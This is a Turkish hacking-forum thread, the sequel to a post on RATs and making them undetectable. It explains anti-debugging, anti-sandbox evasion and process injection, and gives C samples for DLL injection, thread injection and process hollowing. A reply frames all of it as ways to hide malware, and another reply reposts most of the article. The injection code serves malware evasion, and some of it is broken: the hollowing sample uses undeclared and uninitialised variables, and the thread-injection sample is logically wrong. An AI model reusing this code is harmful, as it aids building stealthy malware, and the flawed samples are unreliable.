Protection - Anti Debugger -Anti Sandbox - Process İnjection Nedir ? | Anlatım

Dekrats

Katılımcı Üye
26 Ocak 2023
549
442
Brain
a3b2jeo.png


giphy.gif


Merhaba değerli THT Ailesi. Bu konum Rat Nedir ? | Fud Nasıl Yapılır ? | Rat Nasıl Yayılır ? | konusunun devamıdır. Şimdiden iyi okumalar.

giphy.gif


Protection Nedir? - Nasıl Yapılır?
gBPwFuWw_o.png


"Koruma (Protection) kelimesi, bir kişinin veya bir şeyin zarar görmesini önlemek için alınan önlemleri ifade eder. Fiziksel veya dijital güvenlik gibi farklı alanlarda koruma yöntemleri kullanılabilir.


Fiziksel koruma, bir kişinin veya bir şeyin fiziksel olarak zarar görmesini önlemek için alınan önlemleri ifade eder. Bu, güvenlik kameraları, alarm sistemleri, çelik kapılar, güvenlik personeli vb. gibi önlemler olabilir.

Dijital koruma, bir kişinin veya bir organizasyonun dijital varlıklarının, örneğin bilgi işlem sistemleri, web siteleri, e-posta hesapları vb. güvenliğini sağlamak için alınan önlemleri ifade eder. Dijital koruma, şifreleme, güvenlik duvarları, antivirüs programları, güçlü şifreler, çok faktörlü kimlik doğrulama vb. gibi yöntemlerle yapılabilir.


af8mqjc.gif


Koruma yapmak için aşağıdaki adımlar izlenebilir:

  1. Tehdit analizi yapın: Koruma yapmak için öncelikle ne tür bir tehdit veya riskle karşı karşıya olduğunuzu belirlemek gerekir.
  2. Güvenlik politikaları belirleyin: Güvenlik politikaları, organizasyonunuzun güvenlik ihtiyaçlarını karşılamak için izlenecek yöntemleri ifade eder.
  3. Fiziksel güvenlik önlemleri alın: İhtiyaçlarınıza göre, güvenlik kameraları, alarm sistemleri, güvenlik personeli vb. gibi fiziksel güvenlik önlemleri alabilirsiniz.
  4. Dijital güvenlik önlemleri alın: İhtiyaçlarınıza göre, güvenlik duvarları, antivirüs programları, çok faktörlü kimlik doğrulama vb. gibi dijital güvenlik önlemleri alabilirsiniz.
  5. Eğitim ve farkındalık oluşturun: İnsan faktörü, güvenlik açısından büyük bir risktir. Bu nedenle, çalışanlarınıza güvenlik konularında eğitim vermek ve farkındalık oluşturmak önemlidir.
  6. Güvenlik önlemlerini sürekli olarak gözden geçirin ve güncelleyin: Teknoloji sürekli olarak geliştiği için, güvenlik önlemlerinizin de sürekli olarak güncellenmesi ve iyileştirilmesi gereklidir.

1*N41gOJ2ybQ9mkKXWvuKIUw.gif


Anti Debugger Nedir? - Nasıl Yapılır?
gBPwFuWw_o.png


Anti-debugger, bir yazılımın, kötü amaçlı kullanıcıların yazılımı incelemelerini ve analiz etmelerini engellemek için kullandığı bir tekniktir. Bu teknik, kötü amaçlı kullanıcıların yazılım hakkında bilgi toplayarak, yazılımı değiştirerek veya kötüye kullanarak zarar vermelerini önlemek için kullanılır.


Anti-debugging teknikleri, genellikle yazılımın çalışmasını izleyen ve inceleyen aygıtlar, yazılımın çalışma zamanında belirli işlemler yapması durumunda duraklatan veya hata veren kodlar gibi yöntemleri içerir. Bazı yaygın anti-debugging teknikleri şunlardır:
  1. Breakpoint tespiti: Anti-debugging yazılımı, programın çalışmasını izleyen ve kesme noktalarını belirleyen hata ayıklama araçlarını tespit edebilir. Böylece kötü amaçlı kullanıcıların programı durdurarak incelemelerini engelleyebilir.
  2. Debugger tespiti: Anti-debugging yazılımı, programın çalışma zamanında hata ayıklama araçlarının varlığını tespit edebilir. Bu sayede kötü amaçlı kullanıcıların yazılımı hata ayıklama araçları ile incelemelerini engelleyebilir.
  3. Timing tespiti: Anti-debugging yazılımı, programın çalışma zamanındaki gecikmeleri izleyebilir. Bu yöntem, hata ayıklama araçlarının tespit edilmesini sağlar.
  4. Obfuscation (karıştırma): Anti-debugging yazılımı, kodu karmaşık hale getirerek, kötü amaçlı kullanıcıların programın işleyişini anlamalarını zorlaştırabilir.
Anti-debugging teknikleri, yazılım geliştiricileri tarafından kullanılırken, bazı kötü amaçlı yazılımlar da aynı teknikleri kullanabilir. Bu nedenle, güvenlik uzmanları ve antivirüs yazılımı geliştiricileri, anti-debugging tekniklerini tespit etmek için farklı yöntemler kullanır ve bu tekniklerin etkililiğini azaltmak için sürekli olarak güncelleme yaparlar.

176a8780-f760-11ea-9404-f20a7d358637


Anti Sandbox Nedir? - Nasıl Yapılır? "Örnek"

gBPwFuWw_o.png


Anti-Sandbox, kötü amaçlı yazılımların, zararlı davranışlarını analiz etmek için kullanılan sanal ortamlardan kaçınmak için kullandığı bir tekniktir. Sandbox, kötü amaçlı yazılımların gerçek sistemleri etkilemeden çalıştırılabileceği bir sanal ortamdır.


Anti-Sandbox teknikleri, kötü amaçlı yazılımların, sandbox ortamlarında çalıştıklarını tespit etmelerini ve bu ortamlarda tespit edildiklerinde zararlı davranışlarını göstermemelerini sağlar. Bazı yaygın Anti-Sandbox teknikleri şunlardır:
  1. Sistem tanımlayıcılarını kontrol etme: Anti-Sandbox teknikleri, sanal ortamın tanımlayıcılarını kontrol eder. Bu tanımlayıcılar, sandboxes ortamında çalıştırılan yazılımların özelliklerini gösterir. Anti-Sandbox teknikleri, bu tanımlayıcıların sandboxes ortamında bulunduğunu tespit eder ve kendilerini etkisiz hale getirir.
  2. Kayıt defteri kontrolü: Anti-Sandbox teknikleri, sanal ortamda çalıştırılan yazılımların kayıt defterindeki girdileri kontrol eder. Bu girdiler, sandboxes ortamında bulunur ve kötü amaçlı yazılımların, sanal ortamda çalıştıklarını tespit etmelerini sağlar.
  3. Sistem saati kontrolü: Anti-Sandbox teknikleri, sistem saatinin değerlerini kontrol eder. Sanal ortamların, genellikle saatinin belirli bir değeri vardır. Anti-Sandbox teknikleri, bu değerleri tespit eder ve kendilerini etkisiz hale getirir.
  4. Bellek kullanımı kontrolü: Anti-Sandbox teknikleri, bellek kullanımını izler. Sandboxes ortamlarında, bellek kullanımı genellikle sınırlıdır. Anti-Sandbox teknikleri, bellek kullanımını kontrol eder ve sandboxes ortamında olduklarını tespit ettiklerinde kendilerini etkisiz hale getirir.
Bu Anti-Sandbox teknikleri, kötü amaçlı yazılımların tespit edilmesini zorlaştırmak için kullanılır. Ancak, güvenlik uzmanları ve antivirüs yazılımı geliştiricileri, bu teknikleri tespit etmek için farklı yöntemler kullanır ve bu tekniklerin etkililiğini azaltmak için sürekli olarak güncelleme yaparlar.

Örneğin, bir kötü amaçlı yazılım, çalıştığı ortamın gerçek bir sistem olup olmadığını belirlemek için sistem saati değerini kontrol edebilir. Sandboxes ortamlarında sistem saati değeri genellikle aynıdır. Anti-Sandbox teknikleri, bu yöntemi tespit etmek için, sanal ortamda çalıştırılan yazılımın sistem saati değerini kontrol edebilir ve belirli bir aralıktan fazla sapma olduğunda kötü amaçlı yazılımı tespit edebilir.

Başka bir örnek olarak, kötü amaçlı yazılım, çalıştığı ortamın gerçek bir sistem olup olmadığını belirlemek için sistem tanımlayıcılarını kontrol edebilir. Anti-Sandbox teknikleri, bu yöntemi tespit etmek için, sanal ortamda çalıştırılan yazılımın sistem tanımlayıcılarını kontrol edebilir ve bu tanımlayıcıların sanal ortamda bulunduğunu tespit ettiğinde kötü amaçlı yazılımı etkisiz hale getirebilir.

Bu gibi Anti-Sandbox teknikleri, kötü amaçlı yazılımların sanal ortamlarda tespit edilmesini zorlaştırmak için kullanılır. Ancak, güvenlik uzmanları ve antivirüs yazılımı geliştiricileri de bu teknikleri tespit etmek için farklı yöntemler kullanarak karşı önlemler alırlar.


MKsN.gif


Process İnjection Nedir? - Nasıl Yapılır?
gBPwFuWw_o.png


Process Injection, kötü amaçlı yazılımların bir işlem içine kendilerini enjekte ederek, işlemin belleğinde çalışan kodlarını değiştirme yöntemidir. Bu yöntem, kötü amaçlı yazılımların tespit edilmesini zorlaştırır ve sisteme daha derinlemesine sızmayı sağlar.


Process Injection yöntemi, genellikle bellek manipülasyonu tekniklerinden biri olarak kullanılır. Bu teknik, hedef işlemin bellek yapısını anlamak ve işlemin bellek alanına yeni kod enjekte etmek için kullanılır.

af8mqjc.gif


Process Injection yöntemi, bazı farklı teknikler kullanılarak gerçekleştirilebilir. İşte bazı örnekler:
  1. DLL Injection: DLL Injection yöntemi, bir kötü amaçlı yazılımın kendisini bir işlemin bellek alanına enjekte etmek için kullandığı en yaygın tekniktir. Bu yöntem, hedef işlemin bellek alanında çalışan bir DLL dosyasına erişerek, bu DLL dosyasının kodlarını değiştirir veya yenilerini ekler.
  2. Thread Injection: Thread Injection yöntemi, kötü amaçlı yazılımın hedef işlemin bir iş parçacığına (thread) kod enjekte etmek için kullandığı bir tekniktir. Bu yöntem, hedef işlemin iş parçacıklarına ait bellek alanına erişerek, bu bellek alanına yeni kodlar enjekte eder.
  3. Process Hollowing: Process Hollowing yöntemi, kötü amaçlı yazılımın hedef işlemi yeniden başlatarak, bellek alanını değiştirme yöntemidir. Bu yöntem, hedef işlemin kodlarını sildikten sonra, yeni kodlar enjekte eder ve işlemi yeniden başlatır.
Process Injection yöntemi, kötü amaçlı yazılımların tespit edilmesini zorlaştırmak için kullanılan bir tekniktir. Ancak, güvenlik uzmanları ve antivirüs yazılımı geliştiricileri, bu teknikleri tespit etmek için farklı yöntemler kullanır ve bu tekniklerin etkililiğini azaltmak için sürekli olarak güncelleme yaparlar.

gBPwFuWw_o.png


process-injection-techniques-blogs-dll-injection.gif


DLL Injection kodları, genellikle C/C++ programlama dillerinde yazılır. İşte basit bir DLL Injection kod örneği:
C:
#include <windows.h>

// DLL Enjekte Etme Fonksiyonu
BOOL injectDLL(DWORD processID, LPCSTR dllPath)
{
    // Hedef işlem için işlem tutamaçları
    HANDLE processHandle;
    HMODULE kernel32ModuleHandle, loadLibraryFunctionHandle;
    LPVOID remoteMemoryAddress;
    DWORD bytesWritten;

    // Hedef işlemi açma ve işlem tutamaçlarını alma
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);

    // "kernel32.dll" modülünü yükleme
    kernel32ModuleHandle = GetModuleHandle("kernel32.dll");

    // "LoadLibraryA" işlevini alın
    loadLibraryFunctionHandle = GetProcAddress(kernel32ModuleHandle, "LoadLibraryA");

    // Hedef işlemin adres uzayında bellek ayırma
    remoteMemoryAddress = VirtualAllocEx(processHandle, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);

    // Hedef işlemin adres uzayına DLL dosyasını yazma
    WriteProcessMemory(processHandle, remoteMemoryAddress, dllPath, strlen(dllPath) + 1, &bytesWritten);

    // Hedef işlemin adres uzayına DLL dosyasının yüklenmesi için işlev çağrısı yapma
    CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryFunctionHandle, remoteMemoryAddress, 0, NULL);

    // Bellek bloklarını serbest bırakma
    VirtualFreeEx(processHandle, remoteMemoryAddress, 0, MEM_RELEASE);

    // Hedef işlem tutamaçlarını kapatma
    CloseHandle(processHandle);

    return TRUE;
}

// DLL enjekte etme işlevini test etme
int main()
{
    DWORD processID = 1234; // hedef işlem ID'si
    LPCSTR dllPath = "C:\\Path\\To\\InjectedDLL.dll"; // enjekte edilecek DLL dosyasının yolu

    // DLL Enjekte Etme Fonksiyonunu çağırma
    injectDLL(processID, dllPath);

    return 0;
}

Bu örnek kod, injectDLL işlevi kullanılarak belirtilen işlem ID'sine ve DLL dosyasının yoluna göre DLL enjeksiyonu gerçekleştirir. İşlev, hedef işlemi açar, DLL dosyasını hedef işlemin adres uzayına yazar, DLL dosyasını hedef işlemde yüklemek için LoadLibraryA işlevini çağırır ve ardından bellek bloklarını serbest bırakır. DLL Injection kodları, genellikle düşük seviyeli dillerde yazılır. Bu diller arasında C veya C++ gibi derlenen diller ve assembly dilleri bulunur. Bunun nedeni, bellek manipülasyonu, DLL enjeksiyonu ve diğer düşük seviyeli işlemlerin doğrudan kontrol edilmesi gerektiği için bu dillerin daha uygun olmasıdır. Ancak, yüksek seviyeli dillerde de DLL Injection teknikleri uygulanabilir. Örneğin, Python gibi bir dilde, ctypes veya win32api modülleri kullanılarak DLL Injection yapılabilir. Ancak, yine de düşük seviyeli dillerde yazılan kodların daha etkili olabileceği unutulmamalıdır.

gBPwFuWw_o.png


process-injection-techniques-blogs-hijack.gif


Thread Injection kodları, genellikle C/C++ programlama dillerinde yazılır. İşte basit bir Thread Injection kod örneği:


C:
#include <windows.h>

// Thread Enjekte Etme Fonksiyonu
BOOL injectThread(DWORD processID, LPVOID remoteThreadFunction)
{
    // Hedef işlem için işlem tutamaçları
    HANDLE processHandle;
    HMODULE kernel32ModuleHandle;
    LPVOID remoteMemoryAddress;
    DWORD bytesWritten;

    // Hedef işlemi açma ve işlem tutamaçlarını alma
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);

    // "kernel32.dll" modülünü yükleme
    kernel32ModuleHandle = GetModuleHandle("kernel32.dll");

    // Hedef işlemin adres uzayında bellek ayırma
    remoteMemoryAddress = VirtualAllocEx(processHandle, NULL, sizeof(remoteThreadFunction), MEM_COMMIT, PAGE_READWRITE);

    // Hedef işlemin adres uzayına thread işlevi yazma
    WriteProcessMemory(processHandle, remoteMemoryAddress, &remoteThreadFunction, sizeof(remoteThreadFunction), &bytesWritten);

    // Hedef işlemin adres uzayında bir iş parçacığı oluşturma
    HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemoryAddress, NULL, 0, NULL);

    // İş parçacığının tamamlanmasını bekleyin
    WaitForSingleObject(remoteThread, INFINITE);

    // Bellek bloklarını serbest bırakma
    VirtualFreeEx(processHandle, remoteMemoryAddress, 0, MEM_RELEASE);

    // Hedef işlem tutamaçlarını kapatma
    CloseHandle(processHandle);

    return TRUE;
}

// Thread enjekte etme işlevini test etme
int main()
{
    DWORD processID = 1234; // hedef işlem ID'si
    LPVOID remoteThreadFunction = (LPVOID)LoadLibraryA("InjectedDLL.dll"); // enjekte edilecek işlevin adresi

    // Thread Enjekte Etme Fonksiyonunu çağırma
    injectThread(processID, remoteThreadFunction);

    return 0;
}

af8mqjc.gif

Bu örnek kod, injectThread işlevi kullanılarak belirtilen işlem ID'sine ve enjekte edilecek işlevin adresine göre Thread Injection gerçekleştirir. İşlev, hedef işlemi açar, işlevin adresini hedef işlemdeki bellek alanına yazar, bir iş parçacığı oluşturur ve bekleyerek iş parçacığının tamamlanmasını sağlar. Ardından, bellek bloklarını serbest bırakır ve hedef işlem tutamaçlarını kapatır. hread Injection teknikleri, genellikle düşük seviyeli dillerde yazılan kodlarla gerçekleştirilir. Bu diller arasında C veya C++ gibi derlenen diller ve assembly dilleri bulunur. Bunun nedeni, bellek manipülasyonu, DLL enjeksiyonu ve diğer düşük seviyeli işlemlerin doğrudan kontrol edilmesi gerektiği için bu dillerin daha uygun olmasıdır. Ancak, yüksek seviyeli dillerde de Thread Injection teknikleri uygulanabilir. Örneğin, Python gibi bir dilde, win32api veya ctypes modülleri kullanılarak Thread Injection yapılabilir. Ancak, yine de düşük seviyeli dillerde yazılan kodların daha etkili olabileceği unutulmamalıdır.

gBPwFuWw_o.png


process-injection-techniques-blogs-runpe.gif

Process Hollowing kodları, genellikle C/C++ programlama dillerinde yazılır. İşte basit bir Process Hollowing kod örneği:

C:
#include <windows.h>

// Hedef Uygulamayı Boşaltma Fonksiyonu
BOOL hollowProcess(DWORD processID)
{
    // Hedef uygulama için işlem tutamaçları
    HANDLE processHandle;
    PROCESS_INFORMATION processInfo;

    // Hedef uygulamayı açma ve işlem tutamaçlarını alma
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);

    // Hedef uygulamanın ana thread'ini al
    GetThreadContext(processInfo.hThread, &context);

    // Hedef uygulamanın bellek alanını boşaltma
    CONTEXT context = {0};
    context.ContextFlags = CONTEXT_INTEGER;
    GetThreadContext(processInfo.hThread, &context);
    context.Ebx = (DWORD)VirtualAllocEx(processHandle, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    void * payloadImageBase = VirtualAlloc(NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(payloadImageBase, payloadImageData, payloadImageSize);
    WriteProcessMemory(processHandle, (LPVOID)context.Ebx, payloadImageBase, payloadImageSize, NULL);
    context.Eax = (DWORD)context.Ebx + ((PIMAGE_NT_HEADERS)((PBYTE)payloadImageData + ((PIMAGE_DOS_HEADER)payloadImageData)->e_lfanew))->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(processInfo.hThread, &context);

    // Hedef uygulamanın bellek alanına istenilen kötü amaçlı kodu yazma
    WriteProcessMemory(processHandle, (LPVOID)addressToOverwrite, &maliciousCode, sizeof(maliciousCode), NULL);

    // Hedef uygulamayı çalıştırma
    ResumeThread(processInfo.hThread);

    // Hedef uygulamayı kapatma
    CloseHandle(processHandle);

    return TRUE;
}

// Process Hollowing işlevini test etme
int main()
{
    DWORD processID = 1234; // hedef uygulama ID'si

    // Process Hollowing Fonksiyonunu çağırma
    hollowProcess(processID);

    return 0;
}

Bu örnek kod, hollowProcess işlevi kullanılarak belirtilen işlem ID'sine göre Process Hollowing gerçekleştirir. İşlev, hedef uygulamayı açar, bellek alanını boşaltır, yeni bir bellek alanı oluşturur ve istenilen kötü amaçlı kodu hedef uygulama bellek alanına yazarak yürütür. Ardından, hedef uygulamayı kapatır. Process Hollowing kodları, genellikle C veya C++ gibi düşük seviyeli dillerde yazılır. Ancak, benzer işlevselliği sağlamak için yüksek seviyeli dillerde de uygulanabilir. Örneğin, Python gibi bir dilde, win32api veya ctypes modülleri kullanılarak Process Hollowing yapılabilir. Ancak, düşük seviyeli dillerde yazılan kodlar daha etkili olabilir, çünkü bellek manipülasyonu ve DLL enjeksiyonu gibi işlemleri doğrudan yönetebilirler.


Tulu Yıldızları Kulübü

Sen Niye Gelmiyorsun Bakayım :mad:

Tulu Yıldızları Kulübü [ Alımlar Açık! ]


a3b2jeo.png
 

azx5

Üye
26 Ocak 2023
180
85
23
DPW
Elinize Sağlık Konunun 2.Bölümünü Yapacaksaniz Eğer Anti Patch,Anti Dissambler,Runtime Tekniklerinide Ekleyebilirsiniz Aynı Şekilde Undedect Kategorisine Tasınmasi Daha Uygun Olacaktır Sonuçta Bu Tekniklerin Hepsi Zararlı Yazılımları Görünmez Kılmak (Undedect)yapmak için kullanılan yöntemler
hayırlı akşamlar diliyorum.
 

Dekrats

Katılımcı Üye
26 Ocak 2023
549
442
Brain
Eline sağlık, çok detaylı ve kaliteli bir yazı olmuş.
Teşekkür Ederim Kardeşim Benim 🌹
Elinize Sağlık Konunun 2.Bölümünü Yapacaksaniz Eğer Anti Patch,Anti Dissambler,Runtime Tekniklerinide Ekleyebilirsiniz Aynı Şekilde Undedect Kategorisine Tasınmasi Daha Uygun Olacaktır Sonuçta Bu Tekniklerin Hepsi Zararlı Yazılımları Görünmez Kılmak (Undedect)yapmak için kullanılan yöntemler
hayırlı akşamlar diliyorum.
Tabii 3. Bölümde Bunları Ele Alabilirim Önerin İçin Teşekkür Ederim
 

teux

Katılımcı Üye
23 Ocak 2023
959
1,332
a3b2jeo.png


giphy.gif


Merhaba değerli THT Ailesi. Bu konum Rat Nedir ? | Fud Nasıl Yapılır ? | Rat Nasıl Yayılır ? | konusunun devamıdır. Şimdiden iyi okumalar.

giphy.gif


Protection Nedir? - Nasıl Yapılır?
gBPwFuWw_o.png


"Koruma (Protection) kelimesi, bir kişinin veya bir şeyin zarar görmesini önlemek için alınan önlemleri ifade eder. Fiziksel veya dijital güvenlik gibi farklı alanlarda koruma yöntemleri kullanılabilir.


Fiziksel koruma, bir kişinin veya bir şeyin fiziksel olarak zarar görmesini önlemek için alınan önlemleri ifade eder. Bu, güvenlik kameraları, alarm sistemleri, çelik kapılar, güvenlik personeli vb. gibi önlemler olabilir.

Dijital koruma, bir kişinin veya bir organizasyonun dijital varlıklarının, örneğin bilgi işlem sistemleri, web siteleri, e-posta hesapları vb. güvenliğini sağlamak için alınan önlemleri ifade eder. Dijital koruma, şifreleme, güvenlik duvarları, antivirüs programları, güçlü şifreler, çok faktörlü kimlik doğrulama vb. gibi yöntemlerle yapılabilir.


af8mqjc.gif


Koruma yapmak için aşağıdaki adımlar izlenebilir:

  1. Tehdit analizi yapın: Koruma yapmak için öncelikle ne tür bir tehdit veya riskle karşı karşıya olduğunuzu belirlemek gerekir.
  2. Güvenlik politikaları belirleyin: Güvenlik politikaları, organizasyonunuzun güvenlik ihtiyaçlarını karşılamak için izlenecek yöntemleri ifade eder.
  3. Fiziksel güvenlik önlemleri alın: İhtiyaçlarınıza göre, güvenlik kameraları, alarm sistemleri, güvenlik personeli vb. gibi fiziksel güvenlik önlemleri alabilirsiniz.
  4. Dijital güvenlik önlemleri alın: İhtiyaçlarınıza göre, güvenlik duvarları, antivirüs programları, çok faktörlü kimlik doğrulama vb. gibi dijital güvenlik önlemleri alabilirsiniz.
  5. Eğitim ve farkındalık oluşturun: İnsan faktörü, güvenlik açısından büyük bir risktir. Bu nedenle, çalışanlarınıza güvenlik konularında eğitim vermek ve farkındalık oluşturmak önemlidir.
  6. Güvenlik önlemlerini sürekli olarak gözden geçirin ve güncelleyin: Teknoloji sürekli olarak geliştiği için, güvenlik önlemlerinizin de sürekli olarak güncellenmesi ve iyileştirilmesi gereklidir.

1*N41gOJ2ybQ9mkKXWvuKIUw.gif


Anti Debugger Nedir? - Nasıl Yapılır?
gBPwFuWw_o.png


Anti-debugger, bir yazılımın, kötü amaçlı kullanıcıların yazılımı incelemelerini ve analiz etmelerini engellemek için kullandığı bir tekniktir. Bu teknik, kötü amaçlı kullanıcıların yazılım hakkında bilgi toplayarak, yazılımı değiştirerek veya kötüye kullanarak zarar vermelerini önlemek için kullanılır.


Anti-debugging teknikleri, genellikle yazılımın çalışmasını izleyen ve inceleyen aygıtlar, yazılımın çalışma zamanında belirli işlemler yapması durumunda duraklatan veya hata veren kodlar gibi yöntemleri içerir. Bazı yaygın anti-debugging teknikleri şunlardır:
  1. Breakpoint tespiti: Anti-debugging yazılımı, programın çalışmasını izleyen ve kesme noktalarını belirleyen hata ayıklama araçlarını tespit edebilir. Böylece kötü amaçlı kullanıcıların programı durdurarak incelemelerini engelleyebilir.
  2. Debugger tespiti: Anti-debugging yazılımı, programın çalışma zamanında hata ayıklama araçlarının varlığını tespit edebilir. Bu sayede kötü amaçlı kullanıcıların yazılımı hata ayıklama araçları ile incelemelerini engelleyebilir.
  3. Timing tespiti: Anti-debugging yazılımı, programın çalışma zamanındaki gecikmeleri izleyebilir. Bu yöntem, hata ayıklama araçlarının tespit edilmesini sağlar.
  4. Obfuscation (karıştırma): Anti-debugging yazılımı, kodu karmaşık hale getirerek, kötü amaçlı kullanıcıların programın işleyişini anlamalarını zorlaştırabilir.
Anti-debugging teknikleri, yazılım geliştiricileri tarafından kullanılırken, bazı kötü amaçlı yazılımlar da aynı teknikleri kullanabilir. Bu nedenle, güvenlik uzmanları ve antivirüs yazılımı geliştiricileri, anti-debugging tekniklerini tespit etmek için farklı yöntemler kullanır ve bu tekniklerin etkililiğini azaltmak için sürekli olarak güncelleme yaparlar.

176a8780-f760-11ea-9404-f20a7d358637


Anti Sandbox Nedir? - Nasıl Yapılır? "Örnek"
gBPwFuWw_o.png


Anti-Sandbox, kötü amaçlı yazılımların, zararlı davranışlarını analiz etmek için kullanılan sanal ortamlardan kaçınmak için kullandığı bir tekniktir. Sandbox, kötü amaçlı yazılımların gerçek sistemleri etkilemeden çalıştırılabileceği bir sanal ortamdır.


Anti-Sandbox teknikleri, kötü amaçlı yazılımların, sandbox ortamlarında çalıştıklarını tespit etmelerini ve bu ortamlarda tespit edildiklerinde zararlı davranışlarını göstermemelerini sağlar. Bazı yaygın Anti-Sandbox teknikleri şunlardır:
  1. Sistem tanımlayıcılarını kontrol etme: Anti-Sandbox teknikleri, sanal ortamın tanımlayıcılarını kontrol eder. Bu tanımlayıcılar, sandboxes ortamında çalıştırılan yazılımların özelliklerini gösterir. Anti-Sandbox teknikleri, bu tanımlayıcıların sandboxes ortamında bulunduğunu tespit eder ve kendilerini etkisiz hale getirir.
  2. Kayıt defteri kontrolü: Anti-Sandbox teknikleri, sanal ortamda çalıştırılan yazılımların kayıt defterindeki girdileri kontrol eder. Bu girdiler, sandboxes ortamında bulunur ve kötü amaçlı yazılımların, sanal ortamda çalıştıklarını tespit etmelerini sağlar.
  3. Sistem saati kontrolü: Anti-Sandbox teknikleri, sistem saatinin değerlerini kontrol eder. Sanal ortamların, genellikle saatinin belirli bir değeri vardır. Anti-Sandbox teknikleri, bu değerleri tespit eder ve kendilerini etkisiz hale getirir.
  4. Bellek kullanımı kontrolü: Anti-Sandbox teknikleri, bellek kullanımını izler. Sandboxes ortamlarında, bellek kullanımı genellikle sınırlıdır. Anti-Sandbox teknikleri, bellek kullanımını kontrol eder ve sandboxes ortamında olduklarını tespit ettiklerinde kendilerini etkisiz hale getirir.
Bu Anti-Sandbox teknikleri, kötü amaçlı yazılımların tespit edilmesini zorlaştırmak için kullanılır. Ancak, güvenlik uzmanları ve antivirüs yazılımı geliştiricileri, bu teknikleri tespit etmek için farklı yöntemler kullanır ve bu tekniklerin etkililiğini azaltmak için sürekli olarak güncelleme yaparlar.

Örneğin, bir kötü amaçlı yazılım, çalıştığı ortamın gerçek bir sistem olup olmadığını belirlemek için sistem saati değerini kontrol edebilir. Sandboxes ortamlarında sistem saati değeri genellikle aynıdır. Anti-Sandbox teknikleri, bu yöntemi tespit etmek için, sanal ortamda çalıştırılan yazılımın sistem saati değerini kontrol edebilir ve belirli bir aralıktan fazla sapma olduğunda kötü amaçlı yazılımı tespit edebilir.

Başka bir örnek olarak, kötü amaçlı yazılım, çalıştığı ortamın gerçek bir sistem olup olmadığını belirlemek için sistem tanımlayıcılarını kontrol edebilir. Anti-Sandbox teknikleri, bu yöntemi tespit etmek için, sanal ortamda çalıştırılan yazılımın sistem tanımlayıcılarını kontrol edebilir ve bu tanımlayıcıların sanal ortamda bulunduğunu tespit ettiğinde kötü amaçlı yazılımı etkisiz hale getirebilir.


Bu gibi Anti-Sandbox teknikleri, kötü amaçlı yazılımların sanal ortamlarda tespit edilmesini zorlaştırmak için kullanılır. Ancak, güvenlik uzmanları ve antivirüs yazılımı geliştiricileri de bu teknikleri tespit etmek için farklı yöntemler kullanarak karşı önlemler alırlar.


MKsN.gif


Process İnjection Nedir? - Nasıl Yapılır?
gBPwFuWw_o.png


Process Injection, kötü amaçlı yazılımların bir işlem içine kendilerini enjekte ederek, işlemin belleğinde çalışan kodlarını değiştirme yöntemidir. Bu yöntem, kötü amaçlı yazılımların tespit edilmesini zorlaştırır ve sisteme daha derinlemesine sızmayı sağlar.


Process Injection yöntemi, genellikle bellek manipülasyonu tekniklerinden biri olarak kullanılır. Bu teknik, hedef işlemin bellek yapısını anlamak ve işlemin bellek alanına yeni kod enjekte etmek için kullanılır.

af8mqjc.gif


Process Injection yöntemi, bazı farklı teknikler kullanılarak gerçekleştirilebilir. İşte bazı örnekler:

  1. DLL Injection: DLL Injection yöntemi, bir kötü amaçlı yazılımın kendisini bir işlemin bellek alanına enjekte etmek için kullandığı en yaygın tekniktir. Bu yöntem, hedef işlemin bellek alanında çalışan bir DLL dosyasına erişerek, bu DLL dosyasının kodlarını değiştirir veya yenilerini ekler.
  2. Thread Injection: Thread Injection yöntemi, kötü amaçlı yazılımın hedef işlemin bir iş parçacığına (thread) kod enjekte etmek için kullandığı bir tekniktir. Bu yöntem, hedef işlemin iş parçacıklarına ait bellek alanına erişerek, bu bellek alanına yeni kodlar enjekte eder.
  3. Process Hollowing: Process Hollowing yöntemi, kötü amaçlı yazılımın hedef işlemi yeniden başlatarak, bellek alanını değiştirme yöntemidir. Bu yöntem, hedef işlemin kodlarını sildikten sonra, yeni kodlar enjekte eder ve işlemi yeniden başlatır.
Process Injection yöntemi, kötü amaçlı yazılımların tespit edilmesini zorlaştırmak için kullanılan bir tekniktir. Ancak, güvenlik uzmanları ve antivirüs yazılımı geliştiricileri, bu teknikleri tespit etmek için farklı yöntemler kullanır ve bu tekniklerin etkililiğini azaltmak için sürekli olarak güncelleme yaparlar.

gBPwFuWw_o.png


process-injection-techniques-blogs-dll-injection.gif


DLL Injection kodları, genellikle C/C++ programlama dillerinde yazılır. İşte basit bir DLL Injection kod örneği:
C:
#include <windows.h>

// DLL Enjekte Etme Fonksiyonu
BOOL injectDLL(DWORD processID, LPCSTR dllPath)
{
    // Hedef işlem için işlem tutamaçları
    HANDLE processHandle;
    HMODULE kernel32ModuleHandle, loadLibraryFunctionHandle;
    LPVOID remoteMemoryAddress;
    DWORD bytesWritten;

    // Hedef işlemi açma ve işlem tutamaçlarını alma
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);

    // "kernel32.dll" modülünü yükleme
    kernel32ModuleHandle = GetModuleHandle("kernel32.dll");

    // "LoadLibraryA" işlevini alın
    loadLibraryFunctionHandle = GetProcAddress(kernel32ModuleHandle, "LoadLibraryA");

    // Hedef işlemin adres uzayında bellek ayırma
    remoteMemoryAddress = VirtualAllocEx(processHandle, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);

    // Hedef işlemin adres uzayına DLL dosyasını yazma
    WriteProcessMemory(processHandle, remoteMemoryAddress, dllPath, strlen(dllPath) + 1, &bytesWritten);

    // Hedef işlemin adres uzayına DLL dosyasının yüklenmesi için işlev çağrısı yapma
    CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryFunctionHandle, remoteMemoryAddress, 0, NULL);

    // Bellek bloklarını serbest bırakma
    VirtualFreeEx(processHandle, remoteMemoryAddress, 0, MEM_RELEASE);

    // Hedef işlem tutamaçlarını kapatma
    CloseHandle(processHandle);

    return TRUE;
}

